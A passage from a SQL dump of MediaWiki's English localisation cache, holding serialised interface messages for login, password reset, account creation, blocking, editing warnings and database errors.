section: $1\";'),('en','messages:toc','s:8:\"Contents\";'),('en','messages:showtoc','s:4:\"show\";'),('en','messages:hidetoc','s:4:\"hide\";'),('en','messages:thisisdeleted','s:19:\"View or restore $1?\";'),('en','messages:viewdeleted','s:8:\"View $1?\";'),('en','messages:restorelink','s:47:\"{{PLURAL:$1|one deleted edit|$1 deleted edits}}\";'),('en','messages:feedlinks','s:5:\"Feed:\";'),('en','messages:feed-invalid','s:31:\"Invalid subscription feed type.\";'),('en','messages:feed-unavailable','s:35:\"Syndication feeds are not available\";'),('en','messages:site-rss-feed','s:11:\"$1 RSS feed\";'),('en','messages:site-atom-feed','s:12:\"$1 Atom feed\";'),('en','messages:page-rss-feed','s:13:\"\"$1\" RSS feed\";'),('en','messages:page-atom-feed','s:14:\"\"$1\" Atom feed\";'),('en','messages:feed-atom','s:4:\"Atom\";'),('en','messages:feed-rss','s:3:\"RSS\";'),('en','messages:sitenotice','s:1:\"-\";'),('en','messages:anonnotice','s:1:\"-\";'),('en','messages:newsectionheaderdefaultlevel','s:8:\"== $1 ==\";'),('en','messages:red-link-title','s:24:\"$1 (page does not exist)\";'),('en','messages:nstab-main','s:4:\"Page\";'),('en','messages:nstab-user','s:9:\"User page\";'),('en','messages:nstab-media','s:10:\"Media page\";'),('en','messages:nstab-special','s:12:\"Special page\";'),('en','messages:nstab-project','s:12:\"Project page\";'),('en','messages:nstab-image','s:4:\"File\";'),('en','messages:nstab-mediawiki','s:7:\"Message\";'),('en','messages:nstab-template','s:8:\"Template\";'),('en','messages:nstab-help','s:9:\"Help page\";'),('en','messages:nstab-category','s:8:\"Category\";'),('en','messages:nosuchaction','s:14:\"No such action\";'),('en','messages:nosuchactiontext','s:176:\"The action specified by the URL is invalid.\nYou might have mistyped the URL, or followed an incorrect link.\nThis might also indicate a bug in the software used by {{SITENAME}}.\";'),('en','messages:nosuchspecialpage','s:20:\"No such special page\";'),('en','messages:nospecialpagetext','s:154:\"<strong>You have requested an invalid special page.</strong>\n\nA list of valid special pages can be found at [[Special:SpecialPages|{{int:specialpages}}]].\";'),('en','messages:error','s:5:\"Error\";'),('en','messages:databaseerror','s:14:\"Database error\";'),('en','messages:dberrortext','s:239:\"A database query syntax error has occurred.\nThis may indicate a bug in the software.\nThe last attempted database query was:\n<blockquote><tt>$1</tt></blockquote>\nfrom within function \"<tt>$2</tt>\".\nDatabase returned error \"<tt>$3: $4</tt>\".\";'),('en','messages:dberrortextcl','s:147:\"A database query syntax error has occurred.\nThe last attempted database query was:\n\"$1\"\nfrom within function \"$2\".\nDatabase returned error \"$3: $4\"\";'),('en','messages:laggedslavemode','s:51:\"\'\'\'Warning:\'\'\' Page may not contain recent updates.\";'),('en','messages:readonly','s:15:\"Database locked\";'),('en','messages:enterlockreason','s:84:\"Enter a reason for the lock, including an estimate of when the lock will be released\";'),('en','messages:readonlytext','s:216:\"The database is currently locked to new entries and other modifications, probably for routine database maintenance, after which it will be back to normal.\n\nThe administrator who locked it offered this explanation: $1\";'),('en','messages:missing-article','s:349:\"The database did not find the text of a page that it should have found, named \"$1\" $2.\n\nThis is usually caused by following an outdated diff or history link to a page that has been deleted.\n\nIf this is not the case, you may have found a bug in the software.\nPlease report this to an [[Special:ListUsers/sysop|administrator]], making note of the URL.\";'),('en','messages:missingarticle-rev','s:15:\"(revision#: $1)\";'),('en','messages:missingarticle-diff','s:14:\"(Diff: $1, $2)\";'),('en','messages:readonly_lag','s:98:\"The database has been automatically locked while the slave database servers catch up to the master\";'),('en','messages:internalerror','s:14:\"Internal error\";'),('en','messages:internalerror_info','s:18:\"Internal error: $1\";'),('en','messages:fileappenderrorread','s:34:\"Could not read \"$1\" during append.\";'),('en','messages:fileappenderror','s:30:\"Could not append \"$1\" to \"$2\".\";'),('en','messages:filecopyerror','s:33:\"Could not copy file \"$1\" to \"$2\".\";'),('en','messages:filerenameerror','s:35:\"Could not rename file \"$1\" to \"$2\".\";'),('en','messages:filedeleteerror','s:27:\"Could not delete file \"$1\".\";'),('en','messages:directorycreateerror','s:32:\"Could not create directory \"$1\".\";'),('en','messages:filenotfound','s:25:\"Could not find file \"$1\".\";'),('en','messages:fileexistserror','s:41:\"Unable to write to file \"$1\": file exists\";'),('en','messages:unexpected','s:28:\"Unexpected value: \"$1\"=\"$2\".\";'),('en','messages:formerror','s:28:\"Error: could not submit form\";'),('en','messages:badarticleerror','s:45:\"This action cannot be performed on this page.\";'),('en','messages:cannotdelete','s:93:\"The page or file \"$1\" could not be deleted.\nIt may have already been deleted by someone else.\";'),('en','messages:badtitle','s:9:\"Bad title\";'),('en','messages:badtitletext','s:175:\"The requested page title was invalid, empty, or an incorrectly linked inter-language or inter-wiki title.\nIt may contain one or more characters which cannot be used in titles.\";'),('en','messages:perfcached','s:55:\"The following data is cached and may not be up to date.\";'),('en','messages:perfcachedts','s:54:\"The following data is cached, and was last updated $1.\";'),('en','messages:querypage-no-updates','s:88:\"Updates for this page are currently disabled.\nData here will not presently be refreshed.\";'),('en','messages:wrong_wfQuery_params','s:68:\"Incorrect parameters to wfQuery()<br />\nFunction: $1<br />\nQuery: $2\";'),('en','messages:viewsource','s:11:\"View source\";'),('en','messages:viewsourcefor','s:6:\"for $1\";'),('en','messages:actionthrottled','s:16:\"Action throttled\";'),('en','messages:actionthrottledtext','s:178:\"As an anti-spam measure, you are limited from performing this action too many times in a short space of time, and you have exceeded this limit.\nPlease try again in a few minutes.\";'),('en','messages:protectedpagetext','s:45:\"This page has been locked to prevent editing.\";'),('en','messages:viewsourcetext','s:46:\"You can view and copy the source of this page:\";'),('en','messages:protectedinterface','s:83:\"This page provides interface text for the software, and is locked to prevent abuse.\";'),('en','messages:editinginterface','s:330:\"\'\'\'Warning:\'\'\' You are editing a page which is used to provide interface text for the software.\nChanges to this page will affect the appearance of the user interface for other users.\nFor translations, please consider using [http://translatewiki.net/wiki/Main_Page?setlang=en translatewiki.net], the MediaWiki localisation project.\";'),('en','messages:sqlhidden','s:18:\"(SQL query hidden)\";'),('en','messages:cascadeprotected','s:180:\"This page has been protected from editing, because it is included in the following {{PLURAL:$1|page, which is|pages, which are}} protected with the \"cascading\" option turned on:\n$2\";'),('en','messages:namespaceprotected','s:67:\"You do not have permission to edit pages in the \'\'\'$1\'\'\' namespace.\";'),('en','messages:customcssjsprotected','s:99:\"You do not have permission to edit this page, because it contains another user\'s personal settings.\";'),('en','messages:ns-specialprotected','s:31:\"Special pages cannot be edited.\";'),('en','messages:titleprotected','s:92:\"This title has been protected from creation by [[User:$1|$1]].\nThe reason given is \"\'\'$2\'\'\".\";'),('en','messages:virus-badscanner','s:48:\"Bad configuration: unknown virus scanner: \'\'$1\'\'\";'),('en','messages:virus-scanfailed','s:21:\"scan failed (code $1)\";'),('en','messages:virus-unknownscanner','s:18:\"unknown antivirus:\";'),('en','messages:logouttext','s:280:\"\'\'\'You are now logged out.\'\'\'\n\nYou can continue to use {{SITENAME}} anonymously, or you can [[Special:UserLogin|log in again]] as the same or as a different user.\nNote that some pages may continue to be displayed as if you were still logged in, until you clear your browser cache.\";'),('en','messages:welcomecreation','s:128:\"== Welcome, $1! ==\nYour account has been created.\nDo not forget to change your [[Special:Preferences|{{SITENAME}} preferences]].\";'),('en','messages:yourname','s:9:\"Username:\";'),('en','messages:yourpassword','s:9:\"Password:\";'),('en','messages:yourpasswordagain','s:16:\"Retype password:\";'),('en','messages:remembermypassword','s:34:\"Remember my login on this computer\";'),('en','messages:yourdomainname','s:12:\"Your domain:\";'),('en','messages:externaldberror','s:105:\"There was either an authentication database error or you are not allowed to update your external account.\";'),('en','messages:login','s:6:\"Log in\";'),('en','messages:nav-login-createaccount','s:23:\"Log in / create account\";'),('en','messages:loginprompt','s:56:\"You must have cookies enabled to log in to {{SITENAME}}.\";'),('en','messages:userlogin','s:23:\"Log in / create account\";'),('en','messages:userloginnocreate','s:6:\"Log in\";'),('en','messages:logout','s:7:\"Log out\";'),('en','messages:userlogout','s:7:\"Log out\";'),('en','messages:notloggedin','s:13:\"Not logged in\";'),('en','messages:nologin','s:26:\"Don\'t have an account? $1.\";'),('en','messages:nologinlink','s:17:\"Create an account\";'),('en','messages:createaccount','s:14:\"Create account\";'),('en','messages:gotaccount','s:28:\"Already have an account? $1.\";'),('en','messages:gotaccountlink','s:6:\"Log in\";'),('en','messages:createaccountmail','s:9:\"By e-mail\";'),('en','messages:badretype','s:39:\"The passwords you entered do not match.\";'),('en','messages:userexists','s:64:\"Username entered already in use.\nPlease choose a different name.\";'),('en','messages:loginerror','s:11:\"Login error\";'),('en','messages:createaccounterror','s:28:\"Could not create account: $1\";'),('en','messages:nocookiesnew','s:195:\"The user account was created, but you are not logged in.\n{{SITENAME}} uses cookies to log in users.\nYou have cookies disabled.\nPlease enable them, then log in with your new username and password.\";'),('en','messages:nocookieslogin','s:103:\"{{SITENAME}} uses cookies to log in users.\nYou have cookies disabled.\nPlease enable them and try again.\";'),('en','messages:noname','s:41:\"You have not specified a valid user name.\";'),('en','messages:loginsuccesstitle','s:16:\"Login successful\";'),('en','messages:loginsuccess','s:52:\"\'\'\'You are now logged in to {{SITENAME}} as \"$1\".\'\'\'\";'),('en','messages:nosuchuser','s:140:\"There is no user by the name \"$1\".\nUser names are case sensitive.\nCheck your spelling, or [[Special:UserLogin/signup|create a new account]].\";'),('en','messages:nosuchusershort','s:72:\"There is no user by the name \"<nowiki>$1</nowiki>\".\nCheck your spelling.\";'),('en','messages:nouserspecified','s:31:\"You have to specify a username.\";'),('en','messages:login-userblocked','s:40:\"This user is blocked. Login not allowed.\";'),('en','messages:wrongpassword','s:45:\"Incorrect password entered.\nPlease try again.\";'),('en','messages:wrongpasswordempty','s:45:\"Password entered was blank.\nPlease try again.\";'),('en','messages:passwordtooshort','s:67:\"Passwords must be at least {{PLURAL:$1|1 character|$1 characters}}.\";'),('en','messages:password-name-match','s:51:\"Your password must be different from your username.\";'),('en','messages:mailmypassword','s:19:\"E-mail new password\";'),('en','messages:passwordremindertitle','s:39:\"New temporary password for {{SITENAME}}\";'),('en','messages:passwordremindertext','s:493:\"Someone (probably you, from IP address $1) requested a new\npassword for {{SITENAME}} ($4). A temporary password for user\n\"$2\" has been created and was set to \"$3\". If this was your\nintent, you will need to log in and choose a new password now.\nYour temporary password will expire in {{PLURAL:$5|one day|$5 days}}.\n\nIf someone else made this request, or if you have remembered your password,\nand you no longer wish to change it, you may ignore this message and\ncontinue using your old password.\";'),('en','messages:noemail','s:50:\"There is no e-mail address recorded for user \"$1\".\";'),('en','messages:noemailcreate','s:42:\"You need to provide a valid e-mail address\";'),('en','messages:passwordsent','s:113:\"A new password has been sent to the e-mail address registered for \"$1\".\nPlease log in again after you receive it.\";'),('en','messages:blocked-mailpassword','s:118:\"Your IP address is blocked from editing, and so is not allowed to use the password recovery function to prevent abuse.\";'),('en','messages:eauthentsent','s:219:\"A confirmation e-mail has been sent to the nominated e-mail address.\nBefore any other e-mail is sent to the account, you will have to follow the instructions in the e-mail, to confirm that the account is actually yours.\";'),('en','messages:throttled-mailpassword','s:178:\"A password reminder has already been sent, within the last {{PLURAL:$1|hour|$1 hours}}.\nTo prevent abuse, only one password reminder will be sent per {{PLURAL:$1|hour|$1 hours}}.\";'),('en','messages:loginstart','s:0:\"\";'),('en','messages:loginend','s:0:\"\";'),('en','messages:signupend','s:16:\"{{int:loginend}}\";'),('en','messages:mailerror','s:22:\"Error sending mail: $1\";'),('en','messages:acct_creation_throttle_hit','s:250:\"Visitors to this wiki using your IP address have created {{PLURAL:$1|1 account|$1 accounts}} in the last day, which is the maximum allowed in this time period.\nAs a result, visitors using this IP address cannot create any more accounts at the moment.\";'),('en','messages:emailauthenticated','s:50:\"Your e-mail address was authenticated on $2 at $3.\";'),('en','messages:emailnotauthenticated','s:103:\"Your e-mail address is not yet authenticated.\nNo e-mail will be sent for any of the following features.\";'),('en','messages:noemailprefs','s:73:\"Specify an e-mail address in your preferences for these features to work.\";'),('en','messages:emailconfirmlink','s:27:\"Confirm your e-mail address\";'),('en','messages:invalidemailaddress','s:137:\"The e-mail address cannot be accepted as it appears to have an invalid format.\nPlease enter a well-formatted address or empty that field.\";'),('en','messages:accountcreated','s:15:\"Account created\";'),('en','messages:accountcreatedtext','s:41:\"The user account for $1 has been created.\";'),('en','messages:createaccount-title','s:33:\"Account creation for {{SITENAME}}\";'),('en','messages:createaccount-text','s:219:\"Someone created an account for your e-mail address on {{SITENAME}} ($4) named \"$2\", with password \"$3\".\nYou should log in and change your password now.\n\nYou may ignore this message, if this account was created in error.\";'),('en','messages:usernamehasherror','s:39:\"Username cannot contain hash characters\";'),('en','messages:login-throttled','s:78:\"You have made too many recent login attempts.\nPlease wait before trying again.\";'),('en','messages:loginlanguagelabel','s:12:\"Language: $1\";'),('en','messages:loginlanguagelinks','s:99:\"* Deutsch|de\n* English|en\n* Esperanto|eo\n* Français|fr\n* Español|es\n* Italiano|it\n* Nederlands|nl\";'),('en','messages:suspicious-userlogout','s:106:\"Your request to log out was denied because it looks like it was sent by a broken browser or caching proxy.\";'),('en','messages:resetpass','s:15:\"Change password\";'),('en','messages:resetpass_announce','s:101:\"You logged in with a temporary e-mailed code.\nTo finish logging in, you must set a new password here:\";'),('en','messages:resetpass_text','s:22:\"<!-- Add text here -->\";'),('en','messages:resetpass_header','s:23:\"Change account password\";'),('en','messages:oldpassword','s:13:\"Old password:\";'),('en','messages:newpassword','s:13:\"New password:\";'),('en','messages:retypenew','s:20:\"Retype new password:\";'),('en','messages:resetpass_submit','s:23:\"Set password and log in\";'),('en','messages:resetpass_success','s:66:\"Your password has been changed successfully!\nNow logging you in...\";'),('en','messages:resetpass_forbidden','s:27:\"Passwords cannot be changed\";'),('en','messages:resetpass-no-info','s:51:\"You must be logged in to access this page directly.\";'),('en','messages:resetpass-submit-loggedin','s:15:\"Change password\";'),('en','messages:resetpass-submit-cancel','s:6:\"Cancel\";'),('en','messages:resetpass-wrong-oldpass','s:133:\"Invalid temporary or current password.\nYou may have already successfully changed your password or requested a new temporary password.\";'),('en','messages:resetpass-temp-password','s:19:\"Temporary password:\";'),('en','messages:bold_sample','s:9:\"Bold text\";'),('en','messages:bold_tip','s:9:\"Bold text\";'),('en','messages:italic_sample','s:11:\"Italic text\";'),('en','messages:italic_tip','s:11:\"Italic text\";'),('en','messages:link_sample','s:10:\"Link title\";'),('en','messages:link_tip','s:13:\"Internal link\";'),('en','messages:extlink_sample','s:33:\"http://www.example.com link title\";'),('en','messages:extlink_tip','s:39:\"External link (remember http:// prefix)\";'),('en','messages:headline_sample','s:13:\"Headline text\";'),('en','messages:headline_tip','s:16:\"Level 2 headline\";'),('en','messages:math_sample','s:19:\"Insert formula here\";'),('en','messages:math_tip','s:28:\"Mathematical formula (LaTeX)\";'),('en','messages:nowiki_sample','s:30:\"Insert non-formatted text here\";'),('en','messages:nowiki_tip','s:22:\"Ignore wiki formatting\";'),('en','messages:image_sample','s:11:\"Example.jpg\";'),('en','messages:image_tip','s:13:\"Embedded file\";'),('en','messages:media_sample','s:11:\"Example.ogg\";'),('en','messages:media_tip','s:9:\"File link\";'),('en','messages:sig_tip','s:29:\"Your signature with timestamp\";'),('en','messages:hr_tip','s:31:\"Horizontal line (use sparingly)\";'),('en','messages:summary','s:8:\"Summary:\";'),('en','messages:subject','s:17:\"Subject/headline:\";'),('en','messages:minoredit','s:20:\"This is a minor edit\";'),('en','messages:watchthis','s:15:\"Watch this page\";'),('en','messages:savearticle','s:9:\"Save page\";'),('en','messages:preview','s:7:\"Preview\";'),('en','messages:showpreview','s:12:\"Show preview\";'),('en','messages:showlivepreview','s:12:\"Live preview\";'),('en','messages:showdiff','s:12:\"Show changes\";'),('en','messages:anoneditwarning','s:99:\"\'\'\'Warning:\'\'\' You are not logged in.\nYour IP address will be recorded in this page\'s edit history.\";'),('en','messages:missingsummary','s:116:\"\'\'\'Reminder:\'\'\' You have not provided an edit summary.\nIf you click Save again, your edit will be saved without one.\";'),('en','messages:missingcommenttext','s:29:\"Please enter a comment below.\";'),('en','messages:missingcommentheader','s:153:\"\'\'\'Reminder:\'\'\' You have not provided a subject/headline for this comment.\nIf you click \"{{int:savearticle}}\" again, your edit will be saved without one.\";'),('en','messages:summary-preview','s:16:\"Summary preview:\";'),('en','messages:subject-preview','s:25:\"Subject/headline preview:\";'),('en','messages:blockedtitle','s:15:\"User is blocked\";'),('en','messages:blockedtext','s:575:\"\'\'\'Your user name or IP address has been blocked.\'\'\'\n\nThe block was made by $1.\nThe reason given is \'\'$2\'\'.\n\n* Start of block: $8\n* Expiry of block: $6\n* Intended blockee: $7\n\nYou can contact $1 or another [[{{MediaWiki:Grouppage-sysop}}|administrator]] to discuss the block.\nYou cannot use the \'e-mail this user\' feature unless a valid e-mail address is specified in your [[Special:Preferences|account preferences]] and you have not been blocked from using it.\nYour current IP address is $3, and the block ID is #$5.\nPlease include all above details in any queries you make.\";'),('en','messages:autoblockedtext','s:636:\"Your IP address has been automatically blocked because it was used by another user, who was blocked by $1.\nThe reason given is this:\n\n:\'\'$2\'\'\n\n* Start of block: $8\n* Expiry of block: $6\n* Intended blockee: $7\n\nYou may contact $1 or one of the other [[{{MediaWiki:Grouppage-sysop}}|administrators]] to discuss the block.\n\nNote that you may not use the \"e-mail this user\" feature unless you have a valid e-mail address registered in your [[Special:Preferences|user preferences]] and you have not been blocked from using it.\n\nYour current IP address is $3, and the block ID is #$5.\nPlease include all above details in any queries you make.\";'),('en','messages:blockednoreason','s:15:\"no reason given\";'),('en','messages:blockedoriginalsource','s:38:\"The source of \'\'\'$1\'\'\' is shown below:\";'),('en','messages:blockededitsource','s:56:\"The text of \'\'\'your edits\'\'\' to \'\'\'$1\'\'\' is shown below:\";'),('en','messages:whitelistedittitle','s:22:\"Login required to edit\";'),('en','messages:whitelistedittext','s:29:\"You have to $1 to edit pages.\";'),('en','messages:confirmedittext','s:157:\"You must confirm your e-mail address before editing pages.\nPlease set and validate your e-mail address through your [[Special:Preferences|user preferences]].\";'),('en','messages:nosuchsectiontitle','s:19:\"Cannot find section\";'),('en','messages:nosuchsectiontext','s:115:\"You tried to edit a section that does not exist.\nIt may have been moved or deleted while you were viewing the page.\";'),('en','messages:loginreqtitle','s:14:\"Login required\";'),('en','messages:loginreqlink','s:6:\"log in\";'),('en','messages:loginreqpagetext','s:32:\"You must $1 to view other pages.\";'),('en','messages:accmailtitle','s:14:\"Password sent.\";'),('en','messages:accmailtext','s:200:\"A randomly generated password for [[User talk:$1|$1]] has been sent to $2.\n\nThe password for this new account can be changed on the \'\'[[Special:ChangePassword|change password]]\'\' page upon logging in.\";'),('en','messages:newarticle','s:5:\"(New)\";'),('en','messages:newarticletext','s:239:\"You have followed a link to a page that does not exist yet.\nTo create the page, start typing in the box below (see the [[{{MediaWiki:Helppage}}|help page]] for more info).\nIf you are here by mistake, click your browser\'s \'\'\'back\'\'\' button.\";'),('en','messages:newarticletextanon','s:22:\"{{int:newarticletext}}\";'),('en','messages:talkpagetext','s:31:\"<!-- MediaWiki:talkpagetext -->\";'),('en','messages:anontalkpagetext','s:469:\"----\'\'This is the discussion page for an anonymous user who has not created an account yet, or who does not use it.\nWe therefore have to use the numerical IP address to identify him/her.\nSuch an IP address can be shared by several users.\nIf you are an anonymous user and feel that irrelevant comments have been directed at you, please [[Special:UserLogin/signup|create an account]] or [[Special:UserLogin|log in]] to avoid future confusion with other anonymous users.\'\'\";'),('en','messages:noarticletext','s:296:\"There is currently no text in this page.\nYou can [[Special:Search/{{PAGENAME}}|search for this page title]] in other pages,\n<span class=\"plainlinks\">[{{fullurl:{{#Special:Log}}|page={{FULLPAGENAMEE}}}} search the related logs],\nor [{{fullurl:{{FULLPAGENAME}}|action=edit}} edit this page]</span>.\";'),('en','messages:noarticletext-nopermission','s:237:\"There is currently no text in this page.\nYou can [[Special:Search/{{PAGENAME}}|search for this page title]] in other pages,\nor <span class=\"plainlinks\">[{{fullurl:{{#Special:Log}}|page={{FULLPAGENAMEE}}}} search the related logs]</span>.\";'),('en','messages:noarticletextanon','s:21:\"{{int:noarticletext}}\";'),('en','messages:userpage-userdoesnotexist','s:87:\"User account \"$1\" is not registered.\nPlease check if you want to create/edit this page.\";'),('en','messages:userpage-userdoesnotexist-view','s:36:\"User account \"$1\" is not registered.\";'),('en','messages:blocked-notice-logextract','s:91:\"This user is currently blocked.\nThe latest block log entry is provided below for reference:\";'),('en','messages:clearyourcache','s:438:\"\'\'\'Note: After saving, you may have to bypass your browser\'s cache to see the changes.\'\'\'\n\'\'\'Mozilla / Firefox / Safari:\'\'\' hold \'\'Shift\'\' while clicking \'\'Reload\'\', or press either \'\'Ctrl-F5\'\' or \'\'Ctrl-R\'\' (\'\'Command-R\'\' on a Macintosh);\n\'\'\'Konqueror: \'\'\'click \'\'Reload\'\' or press \'\'F5\'\';\n\'\'\'Opera:\'\'\' clear the cache in \'\'Tools → Preferences\'\';\n\'\'\'Internet Explorer:\'\'\' hold \'\'Ctrl\'\' while clicking \'\'Refresh,\'\' or press \'\'Ctrl-F5\'\'.\";'),('en','messages:usercssyoucanpreview','s:83:\"\'\'\'Tip:\'\'\' Use the \"{{int:showpreview}}\" button to test your new CSS before saving.\";'),('en','messages:userjsyoucanpreview','s:90:\"\'\'\'Tip:\'\'\' Use the \"{{int:showpreview}}\" button to test your new JavaScript before saving.\";'),('en','messages:usercsspreview','s:91:\"\'\'\'Remember that you are only previewing your user CSS.\'\'\'\n\'\'\'It has not yet been saved!\'\'\'\";'),('en','messages:userjspreview','s:106:\"\'\'\'Remember that you are only testing/previewing your user JavaScript.\'\'\'\n\'\'\'It has not yet been saved!\'\'\'\";'),('en','messages:userinvalidcssjstitle','s:178:\"\'\'\'Warning:\'\'\' There is no skin \"$1\".\nRemember that custom .css and .js pages use a lowercase title, e.g. {{ns:user}}:Foo/monobook.css as opposed to {{ns:user}}:Foo/Monobook.css.\";'),('en','messages:updated','s:9:\"(Updated)\";'),('en','messages:note','s:11:\"\'\'\'Note:\'\'\'\";'),('en','messages:previewnote','s:81:\"\'\'\'Remember that this is only a preview.\'\'\'\nYour changes have not yet been saved!\";'),('en','messages:previewconflict','s:102:\"This preview reflects the text in the upper text editing area as it will appear if you choose to save.\";'),('en','messages:session_fail_preview','s:179:\"\'\'\'Sorry! We could not process your edit due to a loss of session data.\'\'\'\nPlease try again.\nIf it still does not work, try [[Special:UserLogout|logging out]] and logging back in.\";'),('en','messages:session_fail_preview_html','s:338:\"\'\'\'Sorry! We could not process your edit due to a loss of session data.\'\'\'\n\n\'\'Because {{SITENAME}} has raw HTML enabled, the preview is hidden as a precaution against JavaScript attacks.\'\'\n\n\'\'\'If this is a legitimate edit attempt, please try again.\'\'\'\nIf it still does not work, try [[Special:UserLogout|logging out]] and logging back in.\";'),('en','messages:token_suffix_mismatch','s:259:\"\'\'\'Your edit has been rejected because your client mangled the punctuation characters in the edit token.\'\'\'\nThe edit has been rejected to prevent corruption of the page text.\nThis sometimes happens when you are using a buggy web-based anonymous proxy service.\";'),('en','messages:editing','s:10:\"Editing $1\";'),('en','messages:editingsection','s:20:\"Editing $1 (section)\";'),('en','messages:editingcomment','s:24:\"Editing $1 (new section)\";'),('en','messages:editconflict','s:17:\"Edit conflict: $1\";'),('en','messages:explainconflict','s:323:\"Someone else has changed this page since you started editing it.\nThe upper text area contains the page text as it currently exists.\nYour changes are shown in the lower text area.\nYou will have to merge your changes into the existing text.\n\'\'\'Only\'\'\' the text in the upper text area will be saved when you press \"Save page\".\";'),('en','messages:yourtext','s:9:\"Your text\";'),('en','messages:storedversion','s:15:\"Stored revision\";'),('en','messages:nonunicodebrowser','s:184:\"\'\'\'Warning: Your browser is not unicode compliant.\'\'\'\nA workaround is in place to allow you to safely edit pages: non-ASCII characters will appear in the edit box as hexadecimal codes.\";'),('en','messages:editingold','s:135:\"\'\'\'Warning: You are editing an out-of-date revision of this page.\'\'\'\nIf you save it, any changes made since this revision will be lost.\";'),('en','messages:yourdiff','s:11:\"Differences\";'),('en','messages:copyrightwarning','s:406:\"Please note that all contributions to {{SITENAME}} are considered to be released under the $2 (see $1 for details).\nIf you do not want your writing to be edited mercilessly and redistributed at will, then do not submit it here.<br />\nYou are also promising us that you wrote this yourself, or copied it from a public domain or similar free resource.\n\'\'\'Do not submit copyrighted work without permission!\'\'\'\";'),('en','messages:copyrightwarning2','s:394:\"Please note that all contributions to {{SITENAME}} may be edited, altered, or removed by other contributors.\nIf you do not want your writing to be edited mercilessly, then do not submit it here.<br />\nYou are also promising us that you wrote this yourself, or copied it from a public domain or similar free resource (see $1 for details).\n\'\'\'Do not submit copyrighted work without permission!\'\'\'\";'),('en','messages:editpage-tos-summary','s:1:\"-\";'),('en','messages:longpagewarning','s:182:\"\'\'\'Warning:\'\'\' This page is $1 kilobytes long;\nsome browsers may have problems editing pages approaching or longer than 32kb.\nPlease consider breaking the page into smaller sections.\";'),('en','messages:longpageerror','s:132:\"\'\'\'Error: The text you have submitted is $1 kilobytes long, which is longer than the maximum of $2 kilobytes.\'\'\'\nIt cannot be saved.\";'),('en','messages:readonlywarning','s:253:\"\'\'\'Warning: The database has been locked for maintenance, so you will not be able to save your edits right now.\'\'\'\nYou may wish to cut-n-paste the text into a text file and save it for later.\n\nThe administrator who locked it offered this explanation: $1\";'),('en','messages:protectedpagewarning','s:156:\"\'\'\'Warning: This page has been locked so that only users with administrator privileges can edit it.\'\'\'\nThe latest log entry is provided below for reference:\";'),('en','messages:semiprotectedpagewarning','s:134:\"\'\'\'Note:\'\'\' This page has been locked so that only registered users can edit it.\nThe latest log entry is provided below for reference:\";'),('en','messages:cascadeprotectedwarning','s:186:\"\'\'\'Warning:\'\'\' This page has been locked so that only users with administrator privileges can edit it, because it is included in the following cascade-protected {{PLURAL:$1|page|pages}}:\";'),('en','messages:titleprotectedwarning','s:171:\"\'\'\'Warning: This page has been locked so that [[Special:ListGroupRights|specific rights]] are needed to create it.\'\'\'\nThe latest log entry is provided below for reference:\";'),('en','messages:templatesused','s:51:\"{{PLURAL:$1|Template|Templates}} used on this page:\";'),('en','messages:templatesusedpreview','s:54:\"{{PLURAL:$1|Template|Templates}} used in this preview:\";'),('en','messages:templatesusedsection','s:54:\"{{PLURAL:$1|Template|Templates}} used in this section:\";'),('en','messages:template-protected','s:11:\"(protected)\";'),('en','messages:template-semiprotected','s:16:\"(semi-protected)\";'),('en','messages:hiddencategories','s:78:\"This page is a member of {{PLURAL:$1|1 hidden category|$1 hidden categories}}:\";'),('en','messages:edittools','s:61:\"<!-- Text here will be shown below edit and upload forms. -->\";'),('en','messages:nocreatetitle','s:21:\"Page creation limited\";'),('en','messages:nocreatetext','s:157:\"{{SITENAME}} has restricted the ability to create new pages.\nYou can go back and edit an existing page, or [[Special:UserLogin|log in or create an account]].\";'),('en','messages:nocreate-loggedin','s:47:\"You do not have permission to create new pages.\";'),('en','messages:sectioneditnotsupported-title','s:29:\"Section editing not supported\";'),('en','messages:sectioneditnotsupported-text','s:46:\"Section editing is not supported in this page.\";'),('en','messages:permissionserrors','s:18:\"Permissions errors\";'),('en','messages:permissionserrorstext','s:86:\"You do not have permission to do that, for the following {{PLURAL:$1|reason|reasons}}:\";'),('en','messages:permissionserrorstext-withaction','s:81:\"You do not have permission to $2, for the following {{PLURAL:$1|reason|reasons}}:\";'),('en','messages:recreate-moveddeleted-warn','s:222:\"\'\'\'Warning: You are recreating a page that was previously deleted.\'\'\'\n\nYou should consider whether it is appropriate to continue editing this page.\nThe deletion and move log for this page are provided here for convenience:\";'),('en','messages:moveddeleted-notice','s:100:\"This page has been deleted.\nThe deletion and move log for the page are provided below for reference.\";'),('en','messages:log-fulllog','s:13:\"View full log\";'),('en','messages:edit-hook-aborted','s:45:\"Edit aborted by hook.\nIt gave no explanation.\";'),('en','messages:edit-gone-missing','s:59:\"Could not update the page.\nIt appears to have been deleted.\";'),('en','messages:edit-conflict','s:14:\"Edit conflict.\";'),('en','messages:edit-no-change','s:62:\"Your edit was ignored, because no change was made to the text.\";'),('en','messages:edit-already-exists','s:47:\"Could not create a new page.\nIt already exists.\";'),('en','messages:addsection-preload','s:0:\"\";'),('en','messages:addsection-editintro','s:0:\"\";'),('en','messages:expensive-parserfunction-warning','s:183:\"\'\'\'Warning:\'\'\' This page contains too many expensive parser function calls.\n\nIt should have less than $2 {{PLURAL:$2|call|calls}}, there {{PLURAL:$1|is now $1 call|are now $1 calls}}.\";'),('en','messages:expensive-parserfunction-category','s:51:\"Pages with too many expensive parser function calls\";'),('en','messages:post-expand-template-inclusion-warning','s:87:\"\'\'\'Warning:\'\'\' Template include size is too large.\nSome templates will not be included.\";'),('en','messages:post-expand-template-inclusion-category','s:45:\"Pages where template include size is exceeded\";'),('en','messages:post-expand-template-argument-warning','s:137:\"\'\'\'Warning:\'\'\' This page contains at least one template argument which has a too large expansion size.\nThese arguments have been omitted.\";'),('en','messages:post-expand-template-argument-category','s:43:\"Pages containing omitted template arguments\";'),('en','messages:parser-template-loop-warning','s:30:\"Template loop detected: [[$1]]\";'),('en','messages:parser-template-recursion-depth-warning','s:44:\"Template recursion depth limit exceeded ($1)\";'),('en','messages:language-converter-depth-warning','s:44:\"Language converter depth limit exceeded ($1)\";'),('en','messages:undo-success','s:161:\"The edit can be undone.\nPlease check the comparison below to verify that this is what you want to do, and then save the changes below to finish undoing the edit.\";'),('en','messages:undo-failure','s:67:\"The edit could not be undone due to conflicting intermediate edits.\";'),('en','messages:undo-norev','s:70:\"The edit could not be undone because it does not exist or was deleted.\";'),('en','messages:undo-summary','s:75:\"Undo revision $1 by [[Special:Contributions/$2|$2]] ([[User talk:$2|talk]])\";'),('en','messages:cantcreateaccounttitle','s:21:\"Cannot create 